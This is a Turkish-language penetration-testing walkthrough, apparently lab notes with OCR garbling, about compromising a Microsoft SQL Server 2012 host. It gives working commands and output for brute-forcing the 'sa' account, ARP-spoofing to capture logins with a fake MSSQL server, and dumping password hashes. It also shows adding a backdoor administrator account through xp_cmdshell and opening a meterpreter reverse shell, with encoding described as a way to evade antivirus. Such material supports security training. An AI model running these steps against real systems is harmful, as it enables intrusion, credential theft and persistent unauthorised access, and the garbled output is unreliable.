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1)

Microsoft SQL Server 1989 yilindan beri Microsoft firmasi tarafindan gelistirilen, Windows isletim
sistemi {izerinde ¢alisan bir iligkisel veritabani yonetim sistemidir. Microsoft SQL Server

MySQL'in alternatifi hitkkmiindedir. MySQL nasil PhpMyAdmin adl arayiizden kontrol

edilebiliyorsa SQL Server da “SQL Server Management Studio” adli arayiizden kontrol

edilebilmektedir.
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Yukarida SQL Server Management Studio'yu goérmektesiniz.
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2)

Biiyiik kiiciik bircok kurum Microsoft SQL Server kendi sistemlerinde kullanmaktadir ve giivenlik
uzmanlar1 yaptiklar penetrasyon testlerinde sik sik Microsoft SQL Server'la hasir nesgir olmaktadir.

(Page 3)




3)

Bu yaz1 kisaca Microsoft SQL Server barindiran bir network icerisinde hedef SQL Server iizerinde
kesif caligmalari nasil yapilir, hesap bilgileri nasil ele gecirilir, ele gecirilen hesap ile diger
hesaplarin parola 6zetleri nasil ele gecirilir, ele gecirilen yetkisiz ya da yetkisi diisiik hesap ile nasil
hak yiikseltilir ve ele gecirilen hesap ile isletim sistemi nasil ele gecirilir sorularina cevap
verecektir.

(page 3)

4)
Bu Dokiimanin Ozeti

Bu yazida uygulanacak penetrasyon testinde 3 taraf olacaktir. Birincisi saldirgan, ikincisi zafiyet
barindiran ve SQL Server calistiran sunucu, {igiinciisii ise zafiyet barindiran sunucuya baglanan
kurbandir. Zafiyet barindiran sunucunun isletim sistemi Windows Server 2008 R2 64 Bit olacaktir
ve lizerinde ¢alisan VTYS yazilimi ise Micrososft SQL Server 2012 Express 64-Bit olacaktir. Hedef
isletim sistemine baglanti kuran kurbanin isletim sistemi Windows 7 Home Premium 64-Bit
olacakken saldirganin kullanacag isletim sistemi ise Kali Linux 1.1.0 64 bit olacaktir. Hedef
Veritabani Yonetim Sistemi yazilimi pentest esnasinda “Local System” haklariyla ¢alistirilacaktir.

Saldirgan zafiyet barindiran sunucu icin, yani hedef icin Nmap ve Metasploit araglarini
kullanacaktir. Asagida penetrasyon testinin uygulanacag network diyagramini gérmektesiniz:

WINDOWS SERVER 2008 R2
192.168.48.130

MICROSOFT 5QL SERVER
2012

SALDIRGAN
192.168.48.128

KURBAN
192.168.48.131
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5)

Bu yazi igerisinde Microsoft SQL Serverin kurulu oldugu ag icerisinde Nmap, Nmap scriptleri ve
Metasploit modiilleri ile tespit calismalar1 yapilmistir. Bu islemler esnasinda hedef Microsoft SQL
Server’in versiyonu, instance name degeri gibi bilgiler elde edilmeye calisilmigtir.

(page 5)

6)

Instance Name Nedir?

Bir sunucuda SQL server’in aymi yada farkl versiyonlar1 birarada bulunabilir. Her yiiklenen SQL
Server’a instance yani 6rnek denmektedir. Bir makinada farkl versiyona sahip birden fazla instance
olabilecegi gibi ayni versiyona sahip birden fazla instance da olabilir. Lisans olarak instance bagina
para verilmektedir.

(http://www.aytekinozel.com/2014/10/sql-serverda-instance-kavram.html)

7)

Hedef Network'teki Microsoft SQL Server icin Kesif Adimlari

Microsoft SQL Server varsayilan olarak 1433 numaral port iizerinde ¢alisir. Ancak sistem ve
veritabani yoOneticileri gerek giivenlik gerek baska nedenlerden dolay1 Microsoft SQL Server’
baska portlar iizerinde de calistirabilir. Bu yilizden sizma testleri esnasinda miimkiin oldugunca tam
port taramasinin yapilmasi tavsiye edilir. Biz 1433 nolu portu Nmabp ile tarayalim:

> nmap -n -p 1433 <HedefIP>

Output:
Nmap scan report for 192.168.48.130
Host is up (0.00099s latency).

PORT STATE SERVICE
1433/tcp open ms-sql-s

NOT:
-n ile DNS c6ziimlemesi engellenerek tarama boyunca iz birakilmasi énlenmis olur.
(-n means “Never do DNS resolution”)

Hedef port iizerinde calisan servis bilgisini daha kesin hale getirmek icin Nmap tarama koduna “-
sV” parametresi eklenmelidir. -sV eklendigi takdirde ilgili servise iiclii el sikisma (three way
handshake) ad1 verilen baglant1 kurulur. Boylece hedef port iizerinde ¢alisan servis hakkinda daha
detayl ve kesin bilgi alinabilir.



>nmap -sV -p 1433 <HedefIP>

Output:
Nmap scan report for 192.168.48.130
Host is up (0.00040s latency).

PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2012

Versiyon bilgisini elde ettik. Bunu daha da ileriye tasiyabilmek icin, yani hedef SQL Server
hakkinda daha fazla bilgi edinebilmek i¢in Nmap'in ms-sql-info adli script'ini kullanabiliriz:

> nmap -p 1433 --script=ms-sql-info <HEDEF IP>

Output:

Host script results:
| ms-sql-info:

Output'tan goriilebilecegi gibi SQL Server'in versiyon numarasinin 11.00.2100.00 oldugu bilgisine,
Instance Name'inin SQLEXPRESS oldugu bilgisine, ayrica Service Pack'inin RTM oldugu bilgisine
ulasmig bulunmaktayiz. Instance Name'den anlasilabilecegi gibi SQL Server'in Express siirtimii

Windows server name: BGAWINLAB
[192. 3,48, 130450LEXPRESS]

Instance name: SOLEXPRESS
Version: Microsoft SQL Server 2812 RTM
Version number: 11.00.2100.00
Product: Microsoft SOL Server 20812
Service pack level: RTM
Post-SP patches applied: No
TCP port: 1433
Named pipe: %,192.168.48.130%pipe\MSSOLSSOLEXPRESS  sqlhquery
Clustered: No

hedef sistemde kullanilmaktadir. Nmap'in bu script'i ile elde ettigimiz versiyon bilgisi ilgili
exploit'in bulunmas1 konusunda bize ¢ok yardimci olacaktir.

Tiim bu kegifler Metasploit'in mssql_ping isimli auxiliary'si ile de yapilabilirdi. Bu modiil
msfconsole'dan secildikten sonra hedef IP adresi ve portu (1433) set edilerek modiiliin bilgi
toplanmasi saglanabilirdi.



msf > use auxiliary/scanner/mssql/mssql_ping

msf auxiliary(mssql_ping) > set RHOSTS <HedefIP>
msf auxiliary(mssql_ping) > set RPORT 1433

msf auxiliary(mssql_ping) > run

Output:

] s0L Server information for 192.168.48.130:
BGAWINLAR

SOLEXPRESS

Mo

11.68.2160,60

Serverbame
InstanceName
IsClustered
Version
tcp
np \\BGAWINLAB pipe\MSSOL$SOLEXPRESS\sqli\query
| Scanned 1 of 1 hosts | complete)
I Auxiliary module execution completed

Goriildiigi tizere SQL Server'in tizerinde calistigi server'in adi, SQL Server'in instance name'i ve
version bilgisi auxiliary tarafindan bulunmusgtur.

(Page 6-7)

8)

Si1zma Girisiminde Yapilacaklar

Sizma girisimlerinin ilk adimi olarak hesap ele gecirme islemi yapilacaktir. Hesap ele gecirme
konusunda Brute Force ve Man In The Middle saldiris1 uygulanacaktir. Brute Force icin bir Nmap
script'i ve Metasploit modiilii kullanilacaktir. Hesap bilgisi script veya modiil ile ele gecirildikten
sonra hedef servise ait diger hesaplarin parola 6zetleri ele gecirilecektir. Boylelikle ele gecirilen
hesaplar ile hedef servis hakkinda da detayli bilgi edinilmis olunacaktir.

(Page 8)

9)

Brute Force Ile SQL Server Hesabim Ele Gegirme

SQL Server'in kurulumunda varsayilan olarak gelen ve yetkili kilinmig “sa” username'ine sahip

kullaniciya yonelik Brute Force saldirisi gergeklestirilecektir.

a. Nmap Script'i ile Brute Force
Microsoft SQL Server’a Nmap tool'u icerisinde bulunan “ms-sql-brute” scripti ile sozliik
saldiris1 yapilabilmektedir. Asagida bunun bir 6rnegini gormektesiniz. Asagidaki kullanimda
ilgili script'e argiiman olarak MS SQL'in tiim instance'larina sozliik saldirisi yap ve kullanici
ady, sifre icin wordlist.txt'i kullan komutlarini vermis bulunmaktayiz.

(1) Kodda bir eksiklik var!

>nmap -p 1433 --script ms-sql-brute --script-args=mssql.instance-all, userdb=wordlist.txt,



passdb=wordlist.txt <HEDEFIP>

Output:

Nmap scan report for 192.168.48.130
Host is up (0.0012s latency).

PORT STATE SERVICE

1433/tcp open ms-sgl-s

MAC Address: 00:0C:29:0A:BD:BB (VMware)

Host script results:

| ms-sql-brute:

| [192.168.48.130%50LEXPRESS]

| Credentials found:

| 5a:BGA-123 => Login Success

Ciktidan goriilebilecegi {izere sa kullanici adli hesabin sifresi BGA-123 olarak tespit
edilmisgtir.

b. Metasploit ile Brute Force

MS SQL Server'a brute force islemini yapabilecek modiiliin adi mssql_login'dir. Bu modiil
Nmap script'iyle ayni isi yapmasina karsin daha fazla konfigurasyon secenegi
barindirmaktadir. Boylelikle daha etkin saldir1 yapilabilmektedir.

msf > use auxiliary/scanner/mssql/mssql_login
msf auxiliary(mssql_login) > show options

Output:
[...]

Modiiliin ayarlarindan olan BLANK_PASSWORDS degerinin “false” olmasina dikkat
edilmelidir. Zaten bu deger varsayilan olarak gelmektedir. Degerin “false” olarak kalmasi,
modiiliin deneyecegi kullanici adlar icin bos parola denemesi yapmayacagi anlamina
gelmektedir.

BRUTEFORCE_SPEED ayar ise 0 ile 5 arasinda degerler almaktadir ve denemelerin hizini
belirtir. Diisiik hizda yapilacak denemeler genellikle daha iyi sonu¢lanmaktadir. Hizlh
yapilacak olan denemeler hesap kilitleme politikasina takilma ihtimalini de hizlandirir.

STOP_ON_SUCCESS ayari, denemelerden birisi basarili oldugu zaman siradaki
denemelerin yapilip yapilmamasi ile ilgili olan ayardir. Bu ayarin “true” olarak
degistirilmesi sizma testleri esnasinda yarar saglayacaktir. Boylelikle ilk bagsarili denemede
modiil duracak ve kalan denemeleri gerceklestirmeyecektir.

Tek bir username sinanacaksa USERNAME ilgili kullanici adt ile set edilmelidir. Tek bir
sifre sinanacaksa PASSWORD ilgili sifre ile set edilmelidir. Birden fazla username ve
password sinanacaksa USER_FILE ve PASS_FILE ilgili txt dosyast ile set edilmelidir. Tim
bunlarin kombinasyonu ise miimkiindiir.

Gerekli yapilandirma ayarlarindan sonra modiil ¢alistirilir:

msf auxiliary(mssql_login) > run



Output:

ro

File Edit Wiew Search Terminal Help
msf auxiliary( ) = exploit

192.168.48.130:1433 - MSS0QL - Starting authentication scanner.
192.168 .4 B:1433 MSS50L - LOGIN FAILED: WORKSTATION :root (Incorrect:
192.168.48.130: 1433 MS50L LOGIN FAILED: WORKSTATION 11234 |
192.168 .4 0: 1433 MS50L LOGIN FAILED: WORKSTATION radmin (Incor
192.168 .4 01433 M550L LOGIN FAILED: WORKSTATION :Admin (Incor
192.168.48.130: 1433 MS50L LOGIN FAILED: WORKSTATION +123 (
192.168 .4 0 MSS0L LOGIN FAILED: WORKSTATION :
192.168.48.130: 1433 M550L LOGIN FAILED: WORKSTATION : 23
192.168.48.130; 1433 M550L LOGIN FAILED: WORKSTATION 1123456 | .
192.168 .4 B:1433 MSS50L - LOGIN FAILED: WORKSTATION qu lzn IIn-nrrEut
192.168.48.130:1433 - LOGIN SUCCESSFUL: WORKSTATIOM\.sa:

1 Scanned f 1 hosts (100% complete)

I Auxiliary module execution completed

msf auxiliary( b=

Goriildiigii tizere sa kullanicisinin sifresi BGA-123 olarak tespit edilebilmistir.
(Page 9-11)
10)

Man in the Middle ile Hesap Ele Gecirme

Ortadaki adam saldirisi ile ag icerisinde bulunan Microsoft SQL Server’a ait giris bilgileri elde
edilebilir. Metasploit modiilii kullanilarak gerceklestirilen bu saldin tiiriinde hedefe sahte bir
Microsoft SQL Server hizmeti verilir ve bu sekilde hedefin hesap bilgisi elde edilmeye calisilir.
Saldiriya baslamadan 6nce saldirganin kendi isletim sistemi iizerinde IP Forwarding'i (IP
Yonlendirmeyi) aktif hale getirmesi gerekmektedir. Asagidaki komut ile bu islem gerceklestirilir.

> echo 1 > /proc/sys/net/ipv4/ip_forward

Ardindan arpspoof ile hedef ve sunucu arasina girilir:

> arpspoof -i ethQ -t <Victim IP> <SQL Server IP> // -t means target
> arpspoof -i ethO -t <SQL Server IP> <Victim P> // -t means target

Yukaridaki ilk kodda Victim'in makinesine denir ki ben SQL Server'im. Boylece victim SQL
sunucusuna baglanacagl zaman sunucu yerine bize paketlerini gonderecektir. IP Forwarding ile de
biz bu paketleri SQL sunucusuna génderecegiz. Ikinci koda gelecek olursak ikinci kodda SQL
Server'a denir ki ben Victim'imim. Boylece SQL sunucusu victim'a gonderecegi paketleri bize
gonderecektir. Biz de victim'a IP Forwarding geregi gonderecegiz. Yani SQL sunucusu ile victim
arasindaki tiim trafigi tizerimizden gecirmis olacagiz.

Buraya kadar yapilan islem bulundugumuz network'teki SQL sunucu ile victim'a arpspoofing
yapmaktan ibaretti. Simdi {izerimizden akan bu trafigi dinleyebilmek icin bir Metasploit auxiliary'si



kullanalim.

msf > auxiliary/server/capture/mssql
msf auxiliary(mssql) > set SRVPORT 1433
msf auxiliary(mssql) > run

Output:
[*] Listening on 0.0.0.0:1433
[*] Server started.

Simdi saldirganin bir isleme daha ihtiyaci vardir. O da saldirganin kendi makinesindeki iptable'ina
bir kural atamasidir:

> iptables -t nat -A PREROUTING -p tcp -d 192.168.48.130 --dport 1433 -j REDIRECT
--to-ports 1433

Girilen bu kurala gore kurban SQL Server icin baglandig1 1433 nolu portta saldirganin 6ne siirdiigii
sahte Microsoft SQL Server'a baglanacaktir. Boylece kullanic1 ad1 ve sifresini kaptiracaktir.

Benim Notum:

Aslinda bence sahte SQL Server'a gerek yok. Zaten sniffing yapabilir durumdayiz. Yani
kurbanin tiim trafigi tizerimizden ge¢mekte. Neden boylesi bir ekstra isleme gerek duyulmus
anlamadim.

Buraya kadar olan islemleri 6zetleyecek olursak ARP Spoofing kullanilarak kurban ile hedef
sunucu arasina girilmistir ve kurban SQL Server'a baglanmak icin hesap bilgisini kendi
bilgisayarinin arayiiziinden girdiginde sahte Microsoft SQL Server hizmetine yonlenecek ve
saldirgan hesap bilgilerini yakalamis olacaktir.

sf auxiliary( } = run
] Listening on 0.0.0.0:1433. ..
1 Server started.

¥¥% guxiliary/server/capture/msspledsestildesslling the
] MSSOL LOGIN 192.168.48.131:64978sa / BGA-123

Kurban ise kendi makinasinda baglanti hatasi icerigine sahip bir ekran ile karsilasacaktir.



E!Cnnnect to Server

IMicrosoft*
E} SQL Server2012

7 _\l Cannot connect to 192, 158,48, 130.

|
M additional information:

{4 Login failed for user 'sa', (Microsoft SQL Server, Error: 18456)

[” Remember password

Connect | Cancel I Help Options > |

Asagida durumu 6zetleyen ag semasi verilmistir:

WINDOWS SERVER 2008 R2
192.168.48.130

MICROSOFT SQL SERVER
2012

SALDIRGAN
192.168.48.128

KURBAN
192.168.48.131
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11)

SQL Server Hakkinda Daha Fazla Bilgi Kesfetme

Yukaridaki arpspoofing ile elde edilen Microsoft SQL Server hesap bilgisi sayesinde hedef
hakkinda daha detayh bilgi toplamak miimkiindiir. Bunun i¢in Metasploit iizerinde bulunan
“mssql_enum” isimli modiil kullanilabilir. Modiile verilecek olan hesap bilgisi ile hesabin yetkisi
olciisiinde elde edilebilecek tiim bilgiler gekilebilir.

msf > use auxiliary/admin/mssql/mssql_enum
msf auxiliary(mssql_enum) > show options

Output:
Name Current Setting Required Description
USERNAME sa no
PASSWORD BGA-123 no
RHOST 192.168.48.130 yes
RPORT 1433 yes

Modiile “USERNAME”; “PASSWORD”, “RHOST” ve “RPORT” bilgileri verilip ¢alistirildiginda
hedef SQL Server’in yapilandirma 6zellikleri, hesap bilgisi ve durumlar1 veyahut hesap politikasi
gibi bircok detay bilgi kesfedilebilir. Ornegin lab ortaminda bu modiiliin verdigi ¢ikti y1gim
icerisinde xp_cmdshell'in aktif olmadigina dair bir bilgi tespit edilmistir. Asagida bu modiiliin
kesfettigi bilgilerin bir kism1 gosterilmektedir:



Running MS S0L Serwver Enumeration...
Versig
osoft SOL Server 2912 - 11.6.2106.60 (X&64)
Feb 10 2812 19 115
C h rosoft Corporation

Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (Hypervisor)

[J

[J

[J

[J

[J

[J

[*] Configuration Parameters:

[*] C2 Audit Mode is Not Enabled

[* xp_cmdshell is Not Enabled

[* remote access is Enabled

[# allow updates is Not Enabled

[* Database Mail XPs is Mot Enabled

[*] 0le Automation Procedures are Mot Enabled

[*] Databases on the server:

[#] Database name:master

[*] Database Files for master:

[*] Program FilesyMi 0Tt SOL Serverh, .SOLEXPRE SQLADATA\master.mdf
[* Program Files\Microsoft SOL Server’, . SOLEXPRESS\MSS0LA\DATA mastlog. 1df
[# name: tempdb

[* Files for tempdb:

[* Program Files\Mi 0ft 50L Servery . SOLEXPRE SOLYDATAN tempdb . md
[# Program Files\Microsoft S ServeriMss . SOLEXPRESS SQLYDATANtemplog. 1df
[* name:model

[* Files for model:

[# Program Files\Microsoft S Serverh .SOLEXPRE SOLN\DATANmodel . mdf
[* Program FilesyMicrosoft SOL ServeriMss . SOLEXPRESS\MSSOLYDATAYmodellog. 1df
Iy Database name:msdb

[* Database Files for msdb:

[* Program FilesyMicrosoft SOL Se % .SOLEXPRE SQLADATANMSDBData.mdf
iy :\Program Files\Microsoft SOL ServeriMss . SOLEXPRESS\MSSOLA\DATAMSDBLog . 1df

(page 16)

12)

Hedefte Bulunan Diger SQL Server Hesaplarini Ele Gegirme

Lab ortaminda Brute Force ve MITM saldirilarinin her ikisi ile de sa kullanici adli hesabin sifresini
ele gecirmistik. Bu ipin ucu hiikmiindedir. Bu sokiigiin gerisini ele gecirmek istersek Metasploit'in
mssql_hashdump modiiliinii kullanmamiz gerekir.

msf > use auxiliary/scanner/mssql/mssql_hashdump

Ele gecirilen hesap bilgisiyle SQL Server'in yiiklii oldugu sunucuya karsi bu modiil ¢aligtirllmalidir.
Boylece hedef SQL Server'daki diger yiiklii hesaplarin parola 6zetleri ekranimiza akacaktir. Bunun
icin modiile hedefin IP adresi, hedefin port numarasi, ele gecirilen kullanici ad1 ve sifre bilgisi
verildikten sonra run ile ¢alistiriimalidir.

e2el195af10f764b49f3a138ad1c9751f5




Boylece tiim hesaplarin kullanici adi ve parolasini ele gecirmis bulunmaktayiz. Bu parola 6zetlerini
kirabilmek icin JTR, hashcat gibi tool'lar kullanilabilir.

(Page 17)

13)

Trustworthy Ozelligi

Trustworthy 6zelligi MS SQL Server yaziliminda ilgili veritabaninin dis kaynaklara erisimini
saglayan bir kontrol mekanizmasidir. Trustworthy 6zelligi SQL Server'da varsayilan olarak kapal
halde gelir, ancak kullanic1 bu 6zelligi diledigi veritabani dizini i¢in kullanabilir. Bu 6zelligin soyle
bir sakincali yani vardir: Eger trustworthy 6zelligi acik veritaban1 web uygulamasi tarafindan
kullaniliyorsa bu durumda yukarida anlatilan islemler sonrasi elde edilen SQL Server hesabinin
yetkisi yiikseltilebilmektedir. Bu hak yiikseltme agiginin nedeni trustworthy 6zelliginin agik
olmasindandir. Metasploit SQL Server'da privilege escalation i¢in mssql_escalate_dbowner
auxiliary'sini kendi biinyesinde barindirmaktadir.

(Page 18)

14)

Post Exploitation

Elde edilen SQL Server hesap bilgileri ile hedef yazilimin iizerinde calistig1 isletim sistemi de ele
gecirilebilir. Bu islem icin ele gecirilen hesap iizerinden xp_cmdshell ile yeni bir kullanici isletim
sisteminde olusturulacaktir ve onun iizerinden uzak masaiistii baglantis1 kurulacaktir. Béylece
sistem ele gecirilmis olacaktir. Bu ele gecirme islemi bir de hedef isletim sistemine zararh bir
yazilim bulastirilarak gerceklestirilecektir. Bunlarin yanisira hedef isletim sistemi {izerinde ele
gecirilen hesabin yetkisiz bir kullanici hesabi olmasi durumunda bir Metasploit modiilii ile nasil
privilege escalation'a tabi tutulabilecegi gosterilecektir.
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XP_CMDSHELL Kullanarak Hedef Sistemi Ele Gegirme

Veritabani yoneticileri sistem {izerinde komut ¢alistirip islem yapma geregi duyabilirler. Bu
durumda xp_cmdshell yordami veritabani yoneticilerinin yardimina kosmaktadir. xp_cmdshell
kullanarak Microsoft SQL Server'in ¢alisma haklari cercevesinde ve ayrica komutu calistiracak
veritabani hesabinin yetkileri cercevesinde sistem tizerinde komut caligtirilabilir.



Hatirlarsaniz nmap'in bir script'i ile yapilan taramada hedef SQL Server'in xp_cmdshell 6zelliginin
kapali oldugunu tespit etmistik. Fakat neyseki mssql_exec adl1 Metasploit modiilii bu kapal 6zelligi
actig1 gibi hedef sisteme calismak iizere shell komutu génderme imkani1 sunmaktadir.

msf > use auxiliary/admin/mssql/mssql_exec

Modiil secildikten sonra USERNAME, PASSWORD, RHOST - yani sistemin IP'si - , RPORT
parametreleri set edilmelidir. CMD parametresine ise hedef sistem {izerinde ¢alistirilmasi istenen
komut girilmelidir. Ardindan run komutu ile modiil ¢alistirilmalidir. Asagida CMD parametresine
ipconfig komutunun girilmesi {izerine hedef sistemden dénen ¢ikt1 ekrana yansimaktadir:

rwver may have xp cmdshell dlfdhlpd trying to enable it.
ry: EXEC master..xp cmdshell 'ipc nnTlg

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : localdomain
Link-local IPv6 Address . . . . . : fe80::elc £3:3117:8609%11

IPv4 Address. . . c o« v v wo.o.o: 192.168.4 ;
Subnet Mask . . . . . ... ... : 255.255.255.0
Default Gateway . G

Tunnel adapter isatap.localdomain:

Media State . . . .t Media disconnected
Connection- prulTl- DNS Suffix . : localdomain

Tunnel adapter Local Area Connection* 9

Media State . . . .« « . : Media disconnected
Connection- prulTl- DNS Suffix

[*] fuxiliary module execution completed

CMD parametresine sirasiyla asagidakiler atanip run ile calistirilarak hedef igletim sisteminde
backdoor amagli bir kullanici olusturulmus olunur ve o kullanici Administrator grubuna eklenerek
ful yetkiye sahip olmus olur.

msf auxiliary(mssql_exec) > set CMD net user BGATest test123 /add
msf auxiliary(mssql_exec) > run

msf auxiliary(mssql_exec) > set CMD net localgroup Administrators BGATest /add
msf auxiliary(mssql_exec) > run

Output:



CMD net user BGATest Test123 /add

| 50L Query: EXEC master..xp cmdshell 'net user BGATest Testl23 /add’

output

I Auxiliary module execution completed
msf i [ ) t CMD net localgroup Administrators BGATest /add

ators BGATest /add
) = exploit

] SOL Query: EXEC master..xp_cmdshell 'net localgroup Administrators BGATest /add'

output

The command completed successfully.

[*] Auxiliary module execution completed
msf auxiliary( ) =

Boylece CMD parametresine eklenecek her bir cmd komutu ile hedef sistemde istenilen her sey
yapilabilir. Yukarida calistirilan komutlarin gercekten de hedef sistemde bir kullanici olusturdugu
asagidaki resimden de goriilebilir:

&2 Manage Accounts 101 =l

!99\ l_’r:'_, + Control Panel = User Accounts = User Accounts + Manage Accounts - LmJ I Search Control Panel ¥=)

Choose the account you would like to change

Administrator BGATest
Administrator - ‘ Administrator
Password protected L o Password protected

Guest
"ha}n Guest account is off

Olusturulan BGATest kullanicisinin hesap bilgileriyle uzak masaiistii baglantis1 agsagidaki resimden
de gorebileceginiz tizere kurulabilmektedir:




rdesktop - 192.168.48.130 -

E‘i’ Initial Configuration Tasks

L Y
ﬁ Perform the following tasks to configure this server L ;"::r'ﬂadm?ws Server 2008

-

H Specifving computer infarmation

Command Prompt

iy Mot activated
J Motepad

-

/ SRR EGATest [UTEC-08:00) Pacific Time [US & Canada)

Le
Documents n:  |Pvd address aszigned by DHCP, IPvE enabled
Canputer BGEAWIHLAR

WORKGROUP

Mebwark

Eﬂ Updating pour Windows server

Contral Panel

Mot configured

Devices and Prinkers WWindows Error Reporting off
Mat participating in Custarmer Experience Impraverment Pragranm

Adrniniskrative Tools 3
Mewer
Help and Support Mewer
Run... 5 -
Eﬂ Custamizing your server
b &l Pragrams Windaws Security ke s -

I |search programs and Files @J Log off Pl Cloze |
3 Sl = 3 " 7112 AM
305 ks u:_wJ iﬁ | AT s
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Zararh Yazilim Kullanarak Hedef Sistemi Ele Gegirme

Microsoft SQL Server yazilimina ait hesap bilgisinden xp_cmdshell yordamiyla hedef isletim
sisteminin ele gecirilebileceginden bahsetmistik. Hedef isletim sistemi ayn1 zamanda zararh
yazilimlarla da ele gecirilebilir. Metasploit exploit'lerinden biri olan mssql_payload bu islem icin
kullanilabilir.

msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp

Secilen exploit ve payload'un parametreleri su sekildedir:

msf exploit(mssql_payload) > help



s (exploit/windows/mssql/mssgl_payload):

Current Setting Required Descri

ord for the specified username
Proxies { ) ain of format type:host:portl,type:host:portll...]
RHOS . 168.48.130 yes he target address
RPORT 433 yes e target port

USERNAME 5 ! The username to authenticate as
USE WINDOWS AUTHENT fals yes Use windows authentification (requires DOMAIN option set)

Payload options (windows/meterpreter/reverse tcp):

Mame Current Setting Required Description

EXITFUNC p Exit technique cepted: seh, thread, process, none)
LHOST 1 The listen addres
LPORT 34 yes The listen port

Burada dikkat edilmesi gereken nokta METHOD parametresidir. Bu parametre ii¢ farkli deger
alabilmektedir: ps, cmd ve old. Eger payload'un hedef sisteme Power Shell kullanilarak
gonderilmesini ve galistirilmasini istiyorsak ps, payload'un standart komut satirindan
gonderilmesini istiyorsak cmd degerini METHOD parametresine atamaliyiz.

msf exploit(mssql_payload) > set RHOST <SQL Server'in Yiiklii Oldugu Sunucu IP'si>
msf exploit(mssql_payload) > set RPORT 1443

msf exploit(mssql_payload) > set USERNAME sa

msf exploit(mssql_payload) > set PASSWORD BGA-123

msf exploit(mssql_payload) > set METHOD ps

Test ortaminda ps methodu kullanilmistir. Exploit calistirildiginda 6nce hedef sisteme ele gegirilen
SQL Server hesap bilgileri ile giris yapilacaktir. Ardindan exploit modiilii sistemde xp_cmdshell
aktif mi degil mi kontrolii yapip eger aktif degilse aktiflestirme islemini yapacaktir. Daha sonra
sirtina yiiklendigi meterpreter payload'unu sisteme calismak iizere birakacaktir (yiikleyecektir).

msf exploit(mssql_payload) > exploit

Output:

msf exploit( ) = exploit

[*] Started reverse handler on 192.168.48,128:

[*] Warning: This module will leave JRaafkkD.exe in the S0L Server %TEMP%: directory

[*] Uploading the payload JRaaAkkO, please be patient...

[*] Converting the payload utilizing PowerShell EncodedCommand. ..

[*] Executing the payload...

[*] Sending stage (770048 bytes) to 192.168.48.130

[*] Be sure to cleanup JRaaAkkD.exe..

[*] Meterpreter session 1 opened (192.168.48.128:1234 -> 192.168.48.130:49259) at 2015-02-27 05:25:59 -0500

meterpreter > |

Payload'u (zararh yazilimi) bulastirilirken kullanilacak method olarak “ps” metodunun segilmesinin
nedeni exploit'in bu method sayesinde payload'u encode ederek calistirabilmesidir. Yani ps



sayesinde yapilan encoding islemi ile antiviriis ve benzeri koruma yazilimlar atlatilabilmektedir.
Yukaridaki ekran goriintiisiinde “Converting the payload utilizing PowerShell Encoded
Command...” satirindan da goriilebilecegi gibi exploit Power Shell komutunu ¢ahistirirken
“Encoded Command” parametresini kullanarak zararli kodu encode etmektedir. Boylece antivirus
programlarina yakalanma ihtimali diisecektir.
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